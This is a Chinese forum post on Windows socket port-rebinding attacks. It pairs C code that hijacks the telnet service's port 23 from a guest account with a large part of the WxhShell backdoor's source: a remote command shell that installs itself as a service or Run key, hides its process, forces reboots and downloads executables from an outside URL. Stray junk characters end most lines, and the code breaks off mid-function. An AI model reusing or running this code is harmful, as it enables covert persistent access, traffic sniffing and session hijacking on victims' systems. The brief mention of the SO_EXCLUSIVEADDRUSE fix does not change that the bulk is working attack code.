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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?;Un#6b  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); R3$@N  
# 2d,U\_  
  saddr.sin_family = AF_INET; PDhWFF  
,`<]>;s  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); n-d:O\]  
NNgK:YibD  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @Eo4U]-  
kr#I{gF  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~fBex_.o*  
j13riI3A  
  这意味着什么?意味着可以进行如下的攻击: Ex 6o=D2  
&%6NQWW  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Q ]/B/  
t7&Dwmck9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) sqT^t!  
6Hda]y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #aa1<-&H  
\OP9_J(*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _y>}#6B  
!Pw$48cg  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )qmFK .;%  
ANotUty;y  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Gp,'kw"I  
)'`CC>Q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 yu=piP  
( :iPm<  
  #include aF!WIvir  
  #include M"B@M5KT  
  #include E.9^&E}PG  
  #include    cg{Gc]'1#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @/LiR>,  
  int main() I :@|^PYw  
  { `&H04x"Y$>  
  WORD wVersionRequested; @O'I)(To  
  DWORD ret; q4+Yv2e <r  
  WSADATA wsaData; w?_`/oqd|  
  BOOL val; O MvT;Vgg  
  SOCKADDR_IN saddr; A0OB$OK  
  SOCKADDR_IN scaddr; '<W<B!HP5Z  
  int err; vnL?O8`c  
  SOCKET s; JxHv<p[  
  SOCKET sc; ).Q[!lly   
  int caddsize; '=p?  
  HANDLE mt; BR3wX4i\  
  DWORD tid;   -n-Z/5~ X  
  wVersionRequested = MAKEWORD( 2, 2 ); " <Qm -  
  err = WSAStartup( wVersionRequested, &wsaData ); s@PLS5d"  
  if ( err != 0 ) { QypZH"Np  
  printf("error!WSAStartup failed!\n"); \ZsP]};*  
  return -1; Ts#pUoE~+H  
  } Wa<-AZnh  
  saddr.sin_family = AF_INET; 9ZhDZ~)p,  
   gX_SKy  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]hL:33  
a}dw9wU!:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); js -2"I  
  saddr.sin_port = htons(23); 12-EDg/1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }Bi@?Sb  
  { B>,A(X&  
  printf("error!socket failed!\n"); e+{BJN vz  
  return -1; n_}aZB3;U  
  } %XR<isn  
  val = TRUE; 6`Lcs  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >O3IfS(l  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) V,vc_d?,_o  
  { Bh,Q8%\6  
  printf("error!setsockopt failed!\n"); vbaC+AiX  
  return -1; oBC]UL;8xJ  
  } s*.3ZS5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; aDh|48}X  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i&*<lff  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 50 *@.!^*  
2 eHx"Ha  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) D?mDG|Z  
  { _Z$?^gn  
  ret=GetLastError(); DLXL!-)z  
  printf("error!bind failed!\n"); 6<PW./rk:  
  return -1; f7 wm w2  
  } o[oqPN3$Y  
  listen(s,2); x)$2nonM  
  while(1) }2=hd..  
  { Sk$KqHX(  
  caddsize = sizeof(scaddr); Fv A8T 2-v  
  //接受连接请求 _N@(Y:  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); F<gMUDB  
  if(sc!=INVALID_SOCKET) /=@e &e  
  { =W<[Fe3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); t H,sql)  
  if(mt==NULL) B$j' /e-Zk  
  { h;nQxmJ9  
  printf("Thread Creat Failed!\n"); ^N{k6>;  
  break; ,\x$q'  
  } tpZ->)1  
  } Wj tft%  
  CloseHandle(mt); 4kh8W~i;/  
  } _@K YF)  
  closesocket(s); 7f* RM  
  WSACleanup(); r>O|L%xpv  
  return 0; \OY}GRKt  
  }   /?U!y?t&@  
  DWORD WINAPI ClientThread(LPVOID lpParam) b`zET^F  
  { {mf.!Xev  
  SOCKET ss = (SOCKET)lpParam; }^ ,q#'  
  SOCKET sc; =J xFp, Xr  
  unsigned char buf[4096]; O"iak  
  SOCKADDR_IN saddr; MyFCJJ/  
  long num; _ Mn6L=  
  DWORD val; wPgDy  
  DWORD ret; Si R\a!,C  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \XDmK   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   B:nK)"{  
  saddr.sin_family = AF_INET; ]!faA\1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); d- kZt@DL=  
  saddr.sin_port = htons(23); yV2e5/i  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `2e_ L  
  { JqSr[q  
  printf("error!socket failed!\n"); aj v}JV&:  
  return -1; - wWRm  
  } vpV$$=Qwp  
  val = 100; Q.E_:=*H  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }LQ\a8]<  
  { w5(yCyNp~  
  ret = GetLastError(); URQ@=W7  
  return -1; v2=/[E@  
  } ~ k<SbFp  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t)'dF*L  
  { Z /h|\SyJ  
  ret = GetLastError(); 0 Z8/R  
  return -1; Q1]Wo9j  
  } [zx|eG<&-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &=NJ  
  { &g {<HU?BT  
  printf("error!socket connect failed!\n"); 0ERsMnU'  
  closesocket(sc); x{?sn  
  closesocket(ss); 0e\y~#-  
  return -1; `-u7 I  
  } P9s_2KOF  
  while(1) eo ?Oir)  
  { vcM~i^24)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #<]Iz'\`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 O:,=xIXR  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Vmtzig3w[  
  num = recv(ss,buf,4096,0); xl9(ze  
  if(num>0) %ZiK[e3G  
  send(sc,buf,num,0); - f 4>MG  
  else if(num==0) 5QOZ%9E&M  
  break; Bz:&f46{  
  num = recv(sc,buf,4096,0); ,ex]$fQ'  
  if(num>0) F+3!uWUK  
  send(ss,buf,num,0); gw J}]Tf  
  else if(num==0) #@E(<Pu4`  
  break; zWtj|%ts  
  } &#-[Y:?lA  
  closesocket(ss); .*:h9AE7vo  
  closesocket(sc); p7$3`t 6u  
  return 0 ; Yw1Y-M  
  } gW}}5Xq  
*0\k Z,#BJ  
'QR4~`6I  
========================================================== FCAJavOGH  
jceHK l  
下边附上一个代码,,WXhSHELL 5!8-)J-H  
J+i X,X  
========================================================== F'XlJ M  
9\:w8M X'  
#include "stdafx.h" O'fc/cvh='  
X~%IM1+L;  
#include <stdio.h> {o {#]fbO%  
#include <string.h> 1 0V+OIC  
#include <windows.h> FbuKZp+  
#include <winsock2.h> c[Yq5Bu{y  
#include <winsvc.h> ]a=l^Pc(xN  
#include <urlmon.h> PB@-U.Z  
$6Z[|9W^A  
#pragma comment (lib, "Ws2_32.lib") ah>Dqb*  
#pragma comment (lib, "urlmon.lib") 9T/<x-FD  
eiOi3q  
#define MAX_USER   100 // 最大客户端连接数 ON NW.xHp  
#define BUF_SOCK   200 // sock buffer 'h k @>"  
#define KEY_BUFF   255 // 输入 buffer .C6gl]6y@  
9 #:ue@)  
#define REBOOT     0   // 重启 q4 $sc_0i  
#define SHUTDOWN   1   // 关机 NXi ,5  
IN>TsTo  
#define DEF_PORT   5000 // 监听端口 N]*!8  
Re{ej  
#define REG_LEN     16   // 注册表键长度 h|)2'07  
#define SVC_LEN     80   // NT服务名长度 9z5z  
+Z]y #=  
// 从dll定义API Y[T J;O!R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 95VqaR,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  r^e-.,+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uz8nRS s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wH#Lb@cfZ0  
|O2|`"7  
// wxhshell配置信息 31H|?cg<  
struct WSCFG { ddl3 fl#f  
  int ws_port;         // 监听端口 W%w82@'  
  char ws_passstr[REG_LEN]; // 口令 7~:>WMv9  
  int ws_autoins;       // 安装标记, 1=yes 0=no Kgps_tY%  
  char ws_regname[REG_LEN]; // 注册表键名 Gtf1}UJC  
  char ws_svcname[REG_LEN]; // 服务名 2 e )  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 gZ=) qT]Pj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 k#BU7Exij  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (]o FB$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Af$0 o=".  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?! !;XW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x>'?IJZ  
/\Jc:v#Q  
}; -0/=k_q_  
+38Lojb}   
// default Wxhshell configuration Sv~PXi^`H  
struct WSCFG wscfg={DEF_PORT, zv>ZrFl*  
    "xuhuanlingzhe", CdE2w?1  
    1, m21QN9(i%  
    "Wxhshell", Gt?!E6^ !  
    "Wxhshell", uV/)Gb*j  
            "WxhShell Service", Uzy ;#q  
    "Wrsky Windows CmdShell Service", "~B~{ _<j  
    "Please Input Your Password: ", :+kg4v&r  
  1, 7m vSo350  
  "http://www.wrsky.com/wxhshell.exe",  eYPt  
  "Wxhshell.exe" ,%& LG],6  
    }; Z1 E` I89<  
Tq_1wX'\  
// 消息定义模块 yOn H&Jj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sqgD?:@J  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e-YGuWGN7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e<&_tx   
char *msg_ws_ext="\n\rExit."; hlY S=cgY=  
char *msg_ws_end="\n\rQuit."; vY8WqG]  
char *msg_ws_boot="\n\rReboot..."; cN0~;!{i  
char *msg_ws_poff="\n\rShutdown..."; E,"b*l.  
char *msg_ws_down="\n\rSave to "; yHV^a0e7EH  
NXC~#oG  
char *msg_ws_err="\n\rErr!"; Off: ~  
char *msg_ws_ok="\n\rOK!"; &z{dr ~  
b6rzHnl{  
char ExeFile[MAX_PATH]; 3}.mp}K 5  
int nUser = 0; %FXIlH5  
HANDLE handles[MAX_USER]; 3"2<T^H]  
int OsIsNt; sWqPw}/3>  
a!SR"3 k  
SERVICE_STATUS       serviceStatus; U>3%!83kF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Rz])wBv e  
x _YV{  
// 函数声明 O4'kS @  
int Install(void); Y'+F0IZ+  
int Uninstall(void); Z]1z*dv  
int DownloadFile(char *sURL, SOCKET wsh); Zip K;!9by  
int Boot(int flag); umHs" d  
void HideProc(void); 9>} (]T  
int GetOsVer(void); !Ed<xG/  
int Wxhshell(SOCKET wsl); *cb D&R\  
void TalkWithClient(void *cs); (<AM+|  
int CmdShell(SOCKET sock); { 8|Z}?I  
int StartFromService(void); _Oaso >  
int StartWxhshell(LPSTR lpCmdLine); ZQJw2LAgO  
!pF KC)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4IGQ,RTB  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  HC<BGIgL  
\|b1s @c8  
// 数据结构和表定义 M25z<Y  
SERVICE_TABLE_ENTRY DispatchTable[] = f0fqDmn  
{ Xy KKD&j  
{wscfg.ws_svcname, NTServiceMain}, s1*WK&@  
{NULL, NULL} D; 35@gtj  
}; \e5,`  
=":V WHf  
// 自我安装 {) '" k6w  
int Install(void) %l]rQjV-  
{ 2kmna/Qa6  
  char svExeFile[MAX_PATH]; sL[(cX?;2  
  HKEY key; j_YZ(: =  
  strcpy(svExeFile,ExeFile); 5D02%U2N)G  
2=UTH% 1D  
// 如果是win9x系统,修改注册表设为自启动 j)lM:vXR  
if(!OsIsNt) { UU:QK{{E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4)>\rqF+v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QeOt; {_|  
  RegCloseKey(key); $4ZDT]n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "l2N_xX;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t9-\x  
  RegCloseKey(key); q}76aa0e  
  return 0; uvK%d\d  
    } Q/9vDv  
  } &V,-W0T_  
} W~@GK  
else { %~v76;H<  
Wn9Mr2r!*,  
// 如果是NT以上系统,安装为系统服务 <xh'@592  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %+OPas8C  
if (schSCManager!=0) #lVl?F+~  
{ b<8J;u<  
  SC_HANDLE schService = CreateService pQm!Bt L  
  ( :Tl6:=B  
  schSCManager, }JTgj  
  wscfg.ws_svcname, . L6@Rs  
  wscfg.ws_svcdisp, >A@D;vx  
  SERVICE_ALL_ACCESS, (j8,n<o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -"^WDs  
  SERVICE_AUTO_START, LyPBFo[?  
  SERVICE_ERROR_NORMAL, s$y#Ufz  
  svExeFile, N)I T?  
  NULL, xTawG?"D  
  NULL, kx#L<   
  NULL, 7~9f rW<K  
  NULL, )aA9z(x  
  NULL JGNxJ S<]  
  ); WatLAn+  
  if (schService!=0) :H8L(BsI  
  { fvfVBk#  
  CloseServiceHandle(schService); o 0 #]EMr  
  CloseServiceHandle(schSCManager); U$JIF/MO_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WsDe0F  
  strcat(svExeFile,wscfg.ws_svcname); >\x 39B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]SR`96vG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "^e?E:( 3  
  RegCloseKey(key); Gbm_xEPC  
  return 0; 5Cyjq0+  
    } t4c#' y  
  } imq(3?  
  CloseServiceHandle(schSCManager); =]mx"0i[  
} =sVt8FWGY  
} Ck a]F2,  
YqCK#zT/  
return 1; *xVAm7_v  
} |(ju!&  
"LaX_0t)  
// 自我卸载 H 1X]tw.  
int Uninstall(void) 54DR.>O  
{ X',0MBQ0  
  HKEY key; |VEAzY|[#  
2/q=l?  
if(!OsIsNt) { ]<z(Rmn`Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ffd 3QQ  
  RegDeleteValue(key,wscfg.ws_regname); ]c=1-Rl  
  RegCloseKey(key); 0BD((oNg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (SVr>|Db  
  RegDeleteValue(key,wscfg.ws_regname); 9+Hb`  
  RegCloseKey(key); ~*]`XL.-  
  return 0; tBUQf*B  
  } Ui;s.f  
} Bzt`9lg  
} [t) i\ }V  
else { &nw ~gSe  
YEoT_>A$dB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eE_XwLE  
if (schSCManager!=0) L umD.3<  
{ }@6 %yR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JLn<,Gn)<\  
  if (schService!=0) z5'nS&x  
  { f+~!s 2uw  
  if(DeleteService(schService)!=0) { g$LwXfg  
  CloseServiceHandle(schService); Y &+/[ [  
  CloseServiceHandle(schSCManager); ,lM2BXz%  
  return 0; A6.'1OD  
  } %_ ~[+ ~#  
  CloseServiceHandle(schService); "#7i-?=  
  } ' |Oi#S  
  CloseServiceHandle(schSCManager); EY>A(   
} 7,1idY%cy  
} 073(xAkL{  
0pR04"`;  
return 1; 8<^,<?  
}  lcr=^  
L,WK L.  
// 从指定url下载文件 v% 1#y5  
int DownloadFile(char *sURL, SOCKET wsh) 7-5q\[ZK  
{ ?o4&cCFOE  
  HRESULT hr; vl#/8]0!  
char seps[]= "/"; E|>I/!{u7`  
char *token; @:[/uqL  
char *file; !hq7R]TC+  
char myURL[MAX_PATH]; ;cO0Y.V9l  
char myFILE[MAX_PATH]; &0#qy9wx  
/EC m  
strcpy(myURL,sURL); \||PW58j  
  token=strtok(myURL,seps); !-QKh aY  
  while(token!=NULL) alG}Aw#gS  
  { _ehU:3L`s  
    file=token; {M$1?j"7  
  token=strtok(NULL,seps); h*d,AJz &.  
  }  &]euN~y  
DgdW.Kj|IL  
GetCurrentDirectory(MAX_PATH,myFILE); 3]!(^N>V  
strcat(myFILE, "\\"); \z_@.Jw{  
strcat(myFILE, file); ?*T`a oB  
  send(wsh,myFILE,strlen(myFILE),0); a%AU9?/q#  
send(wsh,"...",3,0); -B_dE-l,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k @ Hu0x  
  if(hr==S_OK) D1w_Vpz  
return 0; GL/\uq  
else 9orza<#  
return 1; %B~`bUHjq  
I@hC$o  
} MVdE7P  
Fc=8Qt^  
// 系统电源模块 ^Dh2_vbI  
int Boot(int flag) C }!$'C|  
{ Z?GC+hG`  
  HANDLE hToken; <q!{<(:  
  TOKEN_PRIVILEGES tkp; Y)uNzb6R  
GxvVh71zP  
  if(OsIsNt) { We" "/X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cJqPcCq(wn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vj#gY2qZ  
    tkp.PrivilegeCount = 1; ALKhZFuz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /O8'8sL5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t >8t|t+  
if(flag==REBOOT) { 9)=as/o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qOng?(I  
  return 0; &;y(@e }D  
} :!3P4?a  
else {  Pg`^EJ+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fxc~5~$>  
  return 0; AD8~  
} 2bCa|HTv  
  } Y(&phv&  
  else { }$b/g  
if(flag==REBOOT) { :?60pu=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1XSqgr"3  
  return 0; !1!uB }  
} -8EdTc@  
else { /]YK:7*98  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $CXqkK<6  
  return 0; H#1/H@I#  
} ag] nVE/  
} GM@TWwG-B  
{B[i|(xQx  
return 1; <q_H 3|  
} & ??)gMM[  
Ron^PvvY&  
// win9x进程隐藏模块 Ue8_Q8q5  
void HideProc(void) &jj\-;=~Ho  
{ M>0~Ek%3  
RRV&!<l@$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (2%C% #]8  
  if ( hKernel != NULL ) PUa~Apj '  
  { 0}aJCJ9sx=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .}Xkr+ +]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P~?u2,.E[  
    FreeLibrary(hKernel); @GGyiK@  
  } 60hf)er  
G"J6X e  
return; >0512_J+  
} T nPC\.x  
.&* Tj}p  
// 获取操作系统版本 "b2Mk-qP  
int GetOsVer(void) ytJ |jgp'  
{ ==IL63  
  OSVERSIONINFO winfo; =lVfrna  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b cOX/  
  GetVersionEx(&winfo); rPQ$e!m1Ee  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F@?QVdY1q7  
  return 1; r"rEVx#1=  
  else }p&aI?-B  
  return 0; xv1$,|^ts  
} $'e.bh  
QO|ODW+D  
// 客户端句柄模块 <01MXT-  
int Wxhshell(SOCKET wsl) "ebn0<cZ  
{ F.AO  
  SOCKET wsh; B[y1RI|9  
  struct sockaddr_in client; }P^n /  
  DWORD myID; /oWB7l&  
p-ry{"XA  
  while(nUser<MAX_USER) ]QpR>b=[j  
{ :?lSa6de  
  int nSize=sizeof(client); )TXn7{M:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x!G\-2#  
  if(wsh==INVALID_SOCKET) return 1; #+r-$N.7  
GhQ.}@*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k 9s3@S  
if(handles[nUser]==0) Xst&QKU  
  closesocket(wsh); n NAJ8z}Nt  
else }LE.kd&  
  nUser++; 7O"T `>  
  } qo'pU/@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 23Eg|Xk  
>O~xu^N?  
  return 0; -[+FVvS  
} aIkxN&  
p%j@2U  
// 关闭 socket _gU [FUBtJ  
void CloseIt(SOCKET wsh) Ih"f98lV  
{ ^gv)[  
closesocket(wsh); c L84}1QD  
nUser--; ]Y, 7 X  
ExitThread(0); ~~h9yvW7&  
} a)} ?rzT]  
v3`J~,V<  
// 客户端请求句柄 "zm.jNn  
void TalkWithClient(void *cs) 6"gncB.  
{ [;};qQ-C2  
l1YyZ^Z  
  SOCKET wsh=(SOCKET)cs; BhNwC[G?m  
  char pwd[SVC_LEN]; |n]^gTJt  
  char cmd[KEY_BUFF]; oq;}q  
char chr[1]; t XfB.[U  
int i,j; {K:/(\  
|"l g4S%  
  while (nUser < MAX_USER) { hX YVi6(k  
<;W4Th<4  
if(wscfg.ws_passstr) { b/<4\f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); en#W<"_"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); & yw-y4 =  
  //ZeroMemory(pwd,KEY_BUFF); =axi0q?}  
      i=0; S0kH/A  
  while(i<SVC_LEN) { Vd|/]Zj  
-BNW\ ]}  
  // 设置超时 ox)/*c<  
  fd_set FdRead; V GM/ed5-  
  struct timeval TimeOut; Ik~5j(^E-  
  FD_ZERO(&FdRead); J2yq|n?2gq  
  FD_SET(wsh,&FdRead); Cvi-4   
  TimeOut.tv_sec=8; mVk:[ }l6  
  TimeOut.tv_usec=0; JCE364$$"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,{YC|uB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P`RM"'Om  
GAPZt4Z2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d6~wJMFl  
  pwd=chr[0]; H2|w  
  if(chr[0]==0xd || chr[0]==0xa) { 69rVW~Z  
  pwd=0; $8X?|fV)  
  break; :qw:)i  
  } \b~zyt6-  
  i++; - !7QH'  
    } VSM%<-iQ  
|h8C}P&Z  
  // 如果是非法用户,关闭 socket m|e!1_ :H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D*_ F@}=  
} /l@7MxE  
Jg: Uv6eN+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >uxak2nM-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vzy/Rq  
IHf A;&b  
while(1) { Ho*S >Y  
}|Cw]GW  
  ZeroMemory(cmd,KEY_BUFF); 7?p%~j  
^oaG.)3  
      // 自动支持客户端 telnet标准   NOo&5@z;H  
  j=0; $eI[3{}X  
  while(j<KEY_BUFF) { FVL0K(V(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |0mh*+i  
  cmd[j]=chr[0]; W@/D2K(  
  if(chr[0]==0xa || chr[0]==0xd) { + ^4"  
  cmd[j]=0; dqPJ 2j $\  
  break; i_f"?X;D  
  } *$uKg zv3  
  j++; ^8E/I]-  
    } 'X{7b <  
%p^C,B{7w  
  // 下载文件 trM8 p  
  if(strstr(cmd,"http://")) { u{exQ[,E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hnH:G`[F  
  if(DownloadFile(cmd,wsh)) /C_O/N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;LthdY()n(  
  else &`t-[5O\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H=7dp%b"  
  } z_r W1?|  
  else { %k1*&2"1#  
C$M^<z  
    switch(cmd[0]) { '$l*FWOEal  
  (w@|:0t^y[  
  // 帮助 @v@'8E Q  
  case '?': { Yb414K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'j>^L  
    break; 90teXxg=|  
  } {/ZB>l@D>8  
  // 安装 PDM>6U  
  case 'i': { C6Dq7~{B  
    if(Install()) c[J#Hc8;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B8;_h#^q  
    else 1rTA0+h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); />)>~_-3  
    break;  LBw,tP  
    } v]Pw]m5=U  
  // 卸载 }evc]?1(  
  case 'r': { In:h%4>  
    if(Uninstall()) $kkdB,y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >8 VfijK  
    else \ssuO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <&b ~(f  
    break; +oe ~j\=  
    } S &cH1QZ  
  // 显示 wxhshell 所在路径 \ >1M?  
  case 'p': { kMN z5P  
    char svExeFile[MAX_PATH]; %|r@q  
    strcpy(svExeFile,"\n\r"); P4Wd=Xoz6  
      strcat(svExeFile,ExeFile); (47jop0RDQ  
        send(wsh,svExeFile,strlen(svExeFile),0); jAN(r>zVL  
    break; 80l(,0`,  
    } 1b* dC;<  
  // 重启 +xFtGF)  
  case 'b': { OjyS ?YY)b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5#q ^lL  
    if(Boot(REBOOT)) |0A n| 18  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >p2v"XX  
    else { )bPwB.}kq  
    closesocket(wsh); P@ 1D  
    ExitThread(0); k:`^KtBMl  
    } /8J2,8vZ  
    break; SJIJV6}H  
    } $(#o)r>_R  
  // 关机 T|ZT&x$z  
  case 'd': { ||9f@9  
